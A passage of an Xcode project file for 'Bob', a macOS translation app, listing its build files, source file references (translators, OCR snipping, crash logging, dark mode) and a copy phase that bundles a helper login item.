C98CFA38239FA8E500FB7EC4 /* MMCrash.m in Sources */ = {isa = PBXBuildFile; fileRef = C98CFA37239FA8E500FB7EC4 /* MMCrash.m */; };
C99142742390FCBD0025E75E /* NSImage+MM.m in Sources */ = {isa = PBXBuildFile; fileRef = C99142732390FCBD0025E75E /* NSImage+MM.m */; };
C9986E1C2393B06C0016F569 /* NSView+MM.m in Sources */ = {isa = PBXBuildFile; fileRef = C9986E1B2393B06C0016F569 /* NSView+MM.m */; };
C9986E1F2393B09E0016F569 /* NSWindow+MM.m in Sources */ = {isa = PBXBuildFile; fileRef = C9986E1E2393B09E0016F569 /* NSWindow+MM.m */; };
C99EEB1D2385796700FEE666 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEB1C2385796700FEE666 /* AppDelegate.m */; };
C99EEB222385796900FEE666 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = C99EEB212385796900FEE666 /* Assets.xcassets */; };
C99EEB252385796900FEE666 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = C99EEB232385796900FEE666 /* Main.storyboard */; };
C99EEB282385796900FEE666 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEB272385796900FEE666 /* main.m */; };
C99EEBC42385799D00FEE666 /* Configuration.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEB8A2385799D00FEE666 /* Configuration.m */; };
C99EEBC52385799D00FEE666 /* BaiduTranslate.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEB912385799D00FEE666 /* BaiduTranslate.m */; };
C99EEBC62385799D00FEE666 /* TranslateError.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEB922385799D00FEE666 /* TranslateError.m */; };
C99EEBC72385799D00FEE666 /* TranslateResult.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEB932385799D00FEE666 /* TranslateResult.m */; };
C99EEBCA2385799D00FEE666 /* TranslateLanguage.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEB962385799D00FEE666 /* TranslateLanguage.m */; };
C99EEBCB2385799D00FEE666 /* ImageButton.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEB9C2385799D00FEE666 /* ImageButton.m */; };
C99EEBCC2385799D00FEE666 /* NormalResultView.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEB9D2385799D00FEE666 /* NormalResultView.m */; };
C99EEBCD2385799D00FEE666 /* QueryView.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBA12385799D00FEE666 /* QueryView.m */; };
C99EEBCE2385799D00FEE666 /* TranslateViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBA22385799D00FEE666 /* TranslateViewController.m */; };
C99EEBCF2385799D00FEE666 /* TranslateWindow.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBA42385799D00FEE666 /* TranslateWindow.m */; };
C99EEBD02385799D00FEE666 /* TranslateWindowController.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBA52385799D00FEE666 /* TranslateWindowController.m */; };
C99EEBD12385799D00FEE666 /* PopUpButton.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBA62385799D00FEE666 /* PopUpButton.m */; };
C99EEBD22385799D00FEE666 /* ResultView.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBA82385799D00FEE666 /* ResultView.m */; };
C99EEBD32385799D00FEE666 /* WordResultView.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBA92385799D00FEE666 /* WordResultView.m */; };
C99EEBD42385799D00FEE666 /* StatusItem.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBAB2385799D00FEE666 /* StatusItem.m */; };
C99EEBD52385799D00FEE666 /* Selection.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBAE2385799D00FEE666 /* Selection.m */; };
C99EEBD62385799D00FEE666 /* MMEventMonitor.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBB12385799D00FEE666 /* MMEventMonitor.m */; };
C99EEBD72385799D00FEE666 /* MMMake.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBB22385799D00FEE666 /* MMMake.m */; };
C99EEBD82385799D00FEE666 /* NSString+MM.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBB52385799D00FEE666 /* NSString+MM.m */; };
C99EEBD92385799D00FEE666 /* NSUserDefaults+MM.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBB62385799D00FEE666 /* NSUserDefaults+MM.m */; };
C99EEBDA2385799D00FEE666 /* NSButton+MM.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBB72385799D00FEE666 /* NSButton+MM.m */; };
C99EEBDB2385799D00FEE666 /* NSAttributedString+MM.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBBA2385799D00FEE666 /* NSAttributedString+MM.m */; };
C99EEBDC2385799D00FEE666 /* NSColor+MM.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBBD2385799D00FEE666 /* NSColor+MM.m */; };
C99EEBDD2385799D00FEE666 /* NSMutableAttributedString+MM.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBC22385799D00FEE666 /* NSMutableAttributedString+MM.m */; };
C99EEBDE2385799D00FEE666 /* NSArray+MM.m in Sources */ = {isa = PBXBuildFile; fileRef = C99EEBC32385799D00FEE666 /* NSArray+MM.m */; };
C9AEF96B23A0D57A003BE95C /* TextView.m in Sources */ = {isa = PBXBuildFile; fileRef = C9AEF96A23A0D57A003BE95C /* TextView.m */; };
C9C3BDC7238E76B000D5F1C1 /* SnipWindowController.m in Sources */ = {isa = PBXBuildFile; fileRef = C9C3BDC6238E76B000D5F1C1 /* SnipWindowController.m */; };
C9C3BDCA238E76C800D5F1C1 /* SnipWindow.m in Sources */ = {isa = PBXBuildFile; fileRef = C9C3BDC9238E76C800D5F1C1 /* SnipWindow.m */; };
C9C3BDCD238E78BA00D5F1C1 /* SnipViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = C9C3BDCC238E78BA00D5F1C1 /* SnipViewController.m */; };
C9C3BDD3238EA0EF00D5F1C1 /* Snip.m in Sources */ = {isa = PBXBuildFile; fileRef = C9C3BDD2238EA0EF00D5F1C1 /* Snip.m */; };
C9D679CC23A3403F0073957C /* NSDictionary+MM.m in Sources */ = {isa = PBXBuildFile; fileRef = C9D679CB23A3403F0073957C /* NSDictionary+MM.m */; };
C9F7E87C23A2165F0025ADF6 /* YoudaoTranslate.m in Sources */ = {isa = PBXBuildFile; fileRef = C9F7E87B23A2165F0025ADF6 /* YoudaoTranslate.m */; };
D2B213678C42C42C2AD2339C /* Pods_Bob.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 3F045DD4639F4F9836B1E8D6 /* Pods_Bob.framework */; };
/* End PBXBuildFile section */
/* Begin PBXCopyFilesBuildPhase section */
C98CAE74239F45DA005F7DCA /* CopyFiles */ = {
isa = PBXCopyFilesBuildPhase;
buildActionMask = 2147483647;
dstPath = Contents/Library/LoginItems;
dstSubfolderSpec = 1;
files = (
C98CAE75239F4619005F7DCA /* BobHelper.app in CopyFiles */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXCopyFilesBuildPhase section */
/* Begin PBXFileReference section */
3A08EDDF832035FD57B6A226 /* Pods-Bob.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-Bob.release.xcconfig"; path = "Target Support Files/Pods-Bob/Pods-Bob.release.xcconfig"; sourceTree = "<group>"; };
3F045DD4639F4F9836B1E8D6 /* Pods_Bob.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = Pods_Bob.framework; sourceTree = BUILT_PRODUCTS_DIR; };
C90007F123B3BA710002B6A0 /* NSObject+DarkMode.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "NSObject+DarkMode.h"; sourceTree = "<group>"; };
C90007F223B3BA710002B6A0 /* NSObject+DarkMode.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = "NSObject+DarkMode.m"; sourceTree = "<group>"; };
C90007F423B3C5BB0002B6A0 /* NSView+HiddenDebug.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "NSView+HiddenDebug.h"; sourceTree = "<group>"; };
C90007F523B3C5BB0002B6A0 /* NSView+HiddenDebug.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = "NSView+HiddenDebug.m"; sourceTree = "<group>"; };
C90BE309239F38EB00ADE88B /* BobHelper.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = BobHelper.app; sourceTree = BUILT_PRODUCTS_DIR; };
C90BE30B239F38EB00ADE88B /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = "<group>"; };
C90BE30C239F38EB00ADE88B /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = "<group>"; };
C90BE30E239F38EB00ADE88B /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = "<group>"; };
C90BE30F239F38EB00ADE88B /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = "<group>"; };
C90BE311239F38EC00ADE88B /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
C90BE314239F38EC00ADE88B /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
C90BE316239F38EC00ADE88B /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
C90BE317239F38EC00ADE88B /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = "<group>"; };
C90BE319239F38EC00ADE88B /* BobHelper.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = BobHelper.entitlements; sourceTree = "<group>"; };
C90C77832391188400A65E42 /* SnipFocusView.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SnipFocusView.h; sourceTree = "<group>"; };
C90C77842391188400A65E42 /* SnipFocusView.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SnipFocusView.m; sourceTree = "<group>"; };
C910456E23A3AF44001D5211 /* Translate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = Translate.h; sourceTree = "<group>"; };
C910456F23A3AF44001D5211 /* Translate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = Translate.m; sourceTree = "<group>"; };
C91C153623AB8B0600CCAEC0 /* MMTool.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = MMTool.h; sourceTree = "<group>"; };
C91C153723AB8B0600CCAEC0 /* MMTool.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = MMTool.m; sourceTree = "<group>"; };
C91DF6AE23A35E07009CB158 /* MMOrderedDictionary.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = MMOrderedDictionary.m; sourceTree = "<group>"; };
C91DF6AF23A35E07009CB158 /* MMOrderedDictionary.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MMOrderedDictionary.h; sourceTree = "<group>"; };
C959D338238809B800DD8808 /* OCRResult.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = OCRResult.h; sourceTree = "<group>"; };
C959D339238809B800DD8808 /* OCRResult.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = OCRResult.m; sourceTree = "<group>"; };
C9676F2923A0908F007DD023 /* NSPasteboard+MM.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "NSPasteboard+MM.h"; sourceTree = "<group>"; };
C9676F2A23A0908F007DD023 /* NSPasteboard+MM.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = "NSPasteboard+MM.m"; sourceTree = "<group>"; };
C9889F5F23AA0FDA00C2D127 /* GoogleTranslate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GoogleTranslate.h; sourceTree = "<group>"; };
C9889F6023AA0FDA00C2D127 /* GoogleTranslate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = GoogleTranslate.m; sourceTree = "<group>"; };
C988B28623B1F12D007C8108 /* DarkModeManager.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DarkModeManager.h; sourceTree = "<group>"; };
C988B28723B1F12D007C8108 /* DarkModeManager.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DarkModeManager.m; sourceTree = "<group>"; };
C988B28923B1F135007C8108 /* Singleton.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = Singleton.h; sourceTree = "<group>"; };
C98C179F239E3F4A00BD02DB /* PreferencesWindowController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = PreferencesWindowController.h; sourceTree = "<group>"; };
C98C17A0239E3F4A00BD02DB /* PreferencesWindowController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = PreferencesWindowController.m; sourceTree = "<group>"; };
C98C17A2239E40AC00BD02DB /* GeneralViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GeneralViewController.h; sourceTree = "<group>"; };
C98C17A3239E40AC00BD02DB /* GeneralViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = GeneralViewController.m; sourceTree = "<group>"; };
C98C17A4239E40AC00BD02DB /* GeneralViewController.xib */ = {isa = PBXFileReference; lastKnownFileType = file.xib; path = GeneralViewController.xib; sourceTree = "<group>"; };
C98C17A7239E410300BD02DB /* AboutViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AboutViewController.h; sourceTree = "<group>"; };
C98C17A8239E410300BD02DB /* AboutViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AboutViewController.m; sourceTree = "<group>"; };
C98C17A9239E410300BD02DB /* AboutViewController.xib */ = {isa = PBXFileReference; lastKnownFileType = file.xib; path = AboutViewController.xib; sourceTree = "<group>"; };
C98C17AE239E516A00BD02DB /* Shortcut.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = Shortcut.h; sourceTree = "<group>"; };
C98C17AF239E516A00BD02DB /* Shortcut.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = Shortcut.m; sourceTree = "<group>"; };
C98CFA20239F8CDA00FB7EC4 /* Bob-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "Bob-Bridging-Header.h"; sourceTree = "<group>"; };
C98CFA21239F8CDB00FB7EC4 /* MMLog.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = MMLog.swift; sourceTree = "<group>"; };
C98CFA22239F8CDB00FB7EC4 /* MMFileLogFormatter.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = MMFileLogFormatter.m; sourceTree = "<group>"; };
C98CFA23239F8CDB00FB7EC4 /* MMLog.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MMLog.h; sourceTree = "<group>"; };
C98CFA24239F8CDB00FB7EC4 /* MMConsoleLogFormatter.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = MMConsoleLogFormatter.m; sourceTree = "<group>"; };
C98CFA25239F8CDB00FB7EC4 /* MMFileLogFormatter.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MMFileLogFormatter.h; sourceTree = "<group>"; };
C98CFA26239F8CDB00FB7EC4 /* MMLog.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = MMLog.m; sourceTree = "<group>"; };
C98CFA27239F8CDB00FB7EC4 /* MMConsoleLogFormatter.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MMConsoleLogFormatter.h; sourceTree = "<group>"; };
C98CFA2D239FA6F400FB7EC4 /* MMCrashUncaughtExceptionHandler.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = MMCrashUncaughtExceptionHandler.m; sourceTree = "<group>"; };
C98CFA2E239FA6F400FB7EC4 /* MMCrashFileTool.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MMCrashFileTool.h; sourceTree = "<group>"; };
C98CFA2F239FA6F400FB7EC4 /* MMCrashSignalExceptionHandler.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = MMCrashSignalExceptionHandler.m; sourceTree = "<group>"; };
C98CFA30239FA6F400FB7EC4 /* MMCrashSignalExceptionHandler.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MMCrashSignalExceptionHandler.h; sourceTree = "<group>"; };
C98CFA31239FA6F400FB7EC4 /* MMCrashFileTool.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = MMCrashFileTool.m; sourceTree = "<group>"; };
C98CFA32239FA6F400FB7EC4 /* MMCrashUncaughtExceptionHandler.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MMCrashUncaughtExceptionHandler.h; sourceTree = "<group>"; };
C98CFA36239FA8E500FB7EC4 /* MMCrash.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = MMCrash.h; sourceTree = "<group>"; };
C98CFA37239FA8E500FB7EC4 /* MMCrash.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = MMCrash.m; sourceTree = "<group>"; };
C99031D123A09E4300E904D4 /* zh-Hans */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = "zh-Hans"; path = "zh-Hans.lproj/Main.strings"; sourceTree = "<group>"; };
C99031D223A09E4300E904D4 /* zh-Hans */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = "zh-Hans"; path = "zh-Hans.lproj/Main.strings"; sourceTree = "<group>"; };
C99142722390FCBD0025E75E /* NSImage+MM.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "NSImage+MM.h"; sourceTree = "<group>"; };
C99142732390FCBD0025E75E /* NSImage+MM.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = "NSImage+MM.m"; sourceTree = "<group>"; };
C9986E1A2393B06C0016F569 /* NSView+MM.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "NSView+MM.h"; sourceTree = "<group>"; };
C9986E1B2393B06C0016F569 /* NSView+MM.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = "NSView+MM.m"; sourceTree = "<group>"; };
C9986E1D2393B09E0016F569 /* NSWindow+MM.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "NSWindow+MM.h"; sourceTree = "<group>"; };
C9986E1E2393B09E0016F569 /* NSWindow+MM.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = "NSWindow+MM.m"; sourceTree = "<group>"; };
C99EEB182385796700FEE666 /* Bob.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Bob.app; sourceTree = BUILT_PRODUCTS_DIR; };
C99EEB1B2385796700FEE666 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = "<group>"; };
C99EEB1C2385796700FEE666 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = "<group>"; };
C99EEB212385796900FEE666 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
C99EEB242385796900FEE666 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
C99EEB262385796900FEE666 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
C99EEB272385796900FEE666 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = "<group>"; };
C99EEB292385796900FEE666 /* Bob.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = Bob.entitlements; sourceTree = "<group>"; };
C99EEB892385799D00FEE666 /* Configuration.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = Configuration.h; sourceTree = "<group>"; };
C99EEB8A2385799D00FEE666 /* Configuration.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = Configuration.m; sourceTree = "<group>"; };
C99EEB8C2385799D00FEE666 /* TranslateError.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = TranslateError.h; sourceTree = "<group>"; };
C99EEB8D2385799D00FEE666 /* BaiduTranslate.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = BaiduTranslate.h; sourceTree = "<group>"; };
C99EEB8F2385799D00FEE666 /* TranslateResult.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = TranslateResult.h; sourceTree = "<group>"; };
C99EEB902385799D00FEE666 /* TranslateLanguage.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = TranslateLanguage.h; sourceTree = "<group>"; };
C99EEB912385799D00FEE666 /* BaiduTranslate.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = BaiduTranslate.m; sourceTree = "<group>"; };
C99EEB922385799D00FEE666 /* TranslateError.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = TranslateError.m; sourceTree = "<group>"; };
C99EEB932385799D00FEE666 /* TranslateResult.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = TranslateResult.m; sourceTree = "<group>"; };
C99EEB962385799D00FEE666 /* TranslateLanguage.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = TranslateLanguage.m; sourceTree = "<group>"; };
C99EEB982385799D00FEE666 /* TranslateViewController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = TranslateViewController.h; sourceTree = "<group>"; };
C99EEB992385799D00FEE666 /* QueryView.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = QueryView.h; sourceTree = "<group>"; };
C99EEB9A2385799D00FEE666 /* TranslateWindowController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = TranslateWindowController.h; sourceTree = "<group>"; };
C99EEB9B2385799D00FEE666 /* TranslateWindow.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = TranslateWindow.h; sourceTree = "<group>"; };
C99EEB9C2385799D00FEE666 /* ImageButton.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ImageButton.m; sourceTree = "<group>"; };
C99EEB9D2385799D00FEE666 /* NormalResultView.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = NormalResultView.m; sourceTree = "<group>"; };
C99EEB9E2385799D00FEE666 /* ResultView.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ResultView.h; sourceTree = "<group>"; };
C99EEB9F2385799D00FEE666 /* PopUpButton.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = PopUpButton.h; sourceTree = "<group>"; };
C99EEBA02385799D00FEE666 /* WordResultView.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = WordResultView.h; sourceTree = "<group>"; };
C99EEBA12385799D00FEE666 /* QueryView.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = QueryView.m; sourceTree = "<group>"; };
C99EEBA22385799D00FEE666 /* TranslateViewController.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = TranslateViewController.m; sourceTree = "<group>"; };
C99EEBA32385799D00FEE666 /* ImageButton.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ImageButton.h; sourceTree = "<group>"; };
C99EEBA42385799D00FEE666 /* TranslateWindow.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = TranslateWindow.m; sourceTree = "<group>"; };
C99EEBA52385799D00FEE666 /* TranslateWindowController.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = TranslateWindowController.m; sourceTree = "<group>"; };
C99EEBA62385799D00FEE666 /* PopUpButton.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = PopUpButton.m; sourceTree = "<group>"; };
C99EEBA72385799D00FEE666 /* NormalResultView.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = NormalResultView.h; sourceTree = "<group>"; };
C99EEBA82385799D00FEE666 /* ResultView.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = ResultView.m; sourceTree = "<group>"; };
C99EEBA92385799D00FEE666 /* WordResultView.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = WordResultView.m; sourceTree = "<group>"; };
C99EEBAB2385799D00FEE666 /* StatusItem.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = StatusItem.m; sourceTree = "<group>"; };
C99EEBAC2385799D00FEE666 /* StatusItem.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = StatusItem.h; sourceTree = "<group>"; };
C99EEBAE2385799D00FEE666 /* Selection.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = Selection.m; sourceTree = "<group>"; };
C99EEBAF2385799D00FEE666 /* Selection.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = Selection.h; sourceTree = "<group>"; };
C99EEBB12385799D00FEE666 /* MMEventMonitor.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = MMEventMonitor.m; sourceTree = "<group>"; };
C99EEBB22385799D00FEE666 /* MMMake.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = MMMake.m; sourceTree = "<group>"; };
C99EEBB32385799D00FEE666 /* NSAttributedString+MM.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = "NSAttributedString+MM.h"; sourceTree = "<group>"; };
C99EEBB42385799D00FEE666 /* NSColor+MM.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = "NSColor+MM.h"; sourceTree = "<group>"; };
C99EEBB52385799D00FEE666 /* NSString+MM.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = "NSString+MM.m"; sourceTree = "<group>"; };
C99EEBB62385799D00FEE666 /* NSUserDefaults+MM.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = "NSUserDefaults+MM.m"; sourceTree = "<group>"; };
C99EEBB72385799D00FEE666 /* NSButton+MM.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = "NSButton+MM.m"; sourceTree = "<group>"; };
C99EEBB82385799D00FEE666 /* NSArray+MM.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = "NSArray+MM.h"; sourceTree = "<group>"; };
C99EEBB92385799D00FEE666 /* NSMutableAttributedString+MM.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = "NSMutableAttributedString+MM.h"; sourceTree = "<group>"; };
C99EEBBA2385799D00FEE666 /* NSAttributedString+MM.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = "NSAttributedString+MM.m"; sourceTree = "<group>"; };
C99EEBBB2385799D00FEE666 /* MMMake.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MMMake.h; sourceTree = "<group>"; };
C99EEBBC2385799D00FEE666 /* MMEventMonitor.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = MMEventMonitor.h; sourceTree = "<group>"; };
C99EEBBD2385799D00FEE666 /* NSColor+MM.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = "NSColor+MM.m"; sourceTree = "<group>"; };
